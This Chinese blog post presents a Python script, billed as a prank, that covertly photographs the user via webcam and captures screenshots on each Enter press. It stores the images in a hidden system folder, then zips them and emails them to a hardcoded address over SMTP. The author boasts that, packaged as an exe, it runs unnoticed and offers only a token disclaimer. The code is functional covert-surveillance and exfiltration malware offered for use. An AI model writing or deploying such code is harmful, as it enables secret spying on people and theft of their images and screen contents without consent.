当前位置:   article > 正文

python实现屏幕截图和摄像头画面捕获功能_python摄像头捕捉目标

python摄像头捕捉目标

今天是美好的十月一假期结束第一天,本着努力工作(摸鱼),脑子里构思了一个搞事情的小脚本。

不废话,贴码,整活

  1. import os
  2. import time
  3. import smtplib
  4. from email.mime.text import MIMEText
  5. from email.mime.multipart import MIMEMultipart
  6. import logging
  7. import numpy as np
  8. from PIL import ImageGrab
  9. import cv2
  10. import shutil
  11. import keyboard
  12. def GetPicture(): # 拍照&视频
  13. s = 0
  14. while True:
  15. # 监听回车事件
  16. keyboard.wait("enter")
  17. cap = cv2.VideoCapture(0)
  18. ret, frame = cap.read()
  19. cv2.imwrite('./system/%s.jpg' % time.time(), frame)
  20. cap.release
  21. # time.sleep(0.5)
  22. img = ImageGrab.grab(bbox=(0, 0, 1920, 1080))
  23. # print(img.size[1], img.size[0])
  24. img = np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3)
  25. # print(img)
  26. cv2.imwrite('./system/%s.jpg' % time.time(), img)
  27. s += 1
  28. if s > 5:
  29. os.system("attrib +s +h +r *.jpg")
  30. break
  31. def send_mail(MAIL_SERVER, MAIL_USERNAME, MAIL_PASSWORD, accept_list, Cc_list, SUBJECT, text, file_name):
  32. message = MIMEMultipart()
  33. message['From'] = MAIL_USERNAME # 发件人
  34. message['To'] = ";".join(accept_list) # 收件人,将列表转换为字符串
  35. message["Cc"] = ";".join(Cc_list) # 抄送人,将列表转换为字符串
  36. message['Subject'] = SUBJECT # 邮件主题
  37. message.attach(MIMEText(text, 'plain', 'utf-8')) # 格式化邮件内容,编码为utf-8
  38. att1 = MIMEText(open(file_name, 'rb').read(), 'base64', 'utf-8') # 添加附件
  39. att1["Content-Type"] = 'application/octet-stream' # 设置类型
  40. att1["Content-Disposition"] = 'attachment; filename="{0}"'.format(file_name) # 设置邮件用现实的名称
  41. message.attach(att1)
  42. try:
  43. mailServer = smtplib.SMTP(MAIL_SERVER, 25) # 25为端口号(邮件)
  44. # 登录邮箱
  45. mailServer.login(MAIL_USERNAME, MAIL_PASSWORD) # 需要的是,邮箱的地址和授权密码
  46. # 发送文件
  47. mailServer.sendmail(MAIL_USERNAME, accept_list + Cc_list, message.as_string())
  48. mailServer.close() # 关闭连接
  49. return True
  50. except Exception as e:
  51. # logging.debug(e)
  52. print(e)
  53. return False
  54. def send_email(zip_path):
  55. MAIL_SERVER = 'smtp.163.com' # smtp服务器
  56. MAIL_USERNAME = '*******@163.com' # 发件人
  57. MAIL_PASSWORD = 'Q*****KF' # 邮箱授权码
  58. accept_list = ['1****@qq.com'] # 收件人
  59. Cc_list = [] # 抄送人
  60. SUBJECT = "Take photo" # 主题
  61. text = "Hello!!" # 内容
  62. file_name = zip_path # 上传附件名称(当前路径)
  63. if send_mail(MAIL_SERVER, MAIL_USERNAME, MAIL_PASSWORD, accept_list, Cc_list, SUBJECT, text, file_name):
  64. logging.debug("Send mail succed!")
  65. else:
  66. logging.debug("Send mail failed")
  67. def mkdirs():
  68. # 创建文件夹并隐藏
  69. os.mkdir("./system")
  70. os.system("attrib +s +h +r system")
  71. def mkzip():
  72. shutil.make_archive('./system_copy', 'zip', "./system")
  73. def run():
  74. mkdirs()
  75. GetPicture()
  76. mkzip()
  77. send_email("./system_copy.zip")
  78. os.remove("./system_copy.zip")
  79. os.remove("./system")
  80. run()

运行后,首先会创建一个隐藏文件夹,之后每按一次回车都会先给使用者拍照并且捕获屏幕截图,当按了五次回车之后,就会把图片打包发送给自己指定的邮箱(需要自己授权邮箱,这里不清楚的度娘一堆教程,就不做说明了)。

敲黑板,划重点,没有摄像头的可能会报错,我用的是笔记本所以暂时没遇到这个问题。

如果打包成exe文件,会做到全程无感!!只是摄像头的指示灯会频繁闪烁

小伙伴们切勿用于非法用途哦~~~仅供参考学习

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/78513
推荐阅读
相关标签
  

闽ICP备14008679号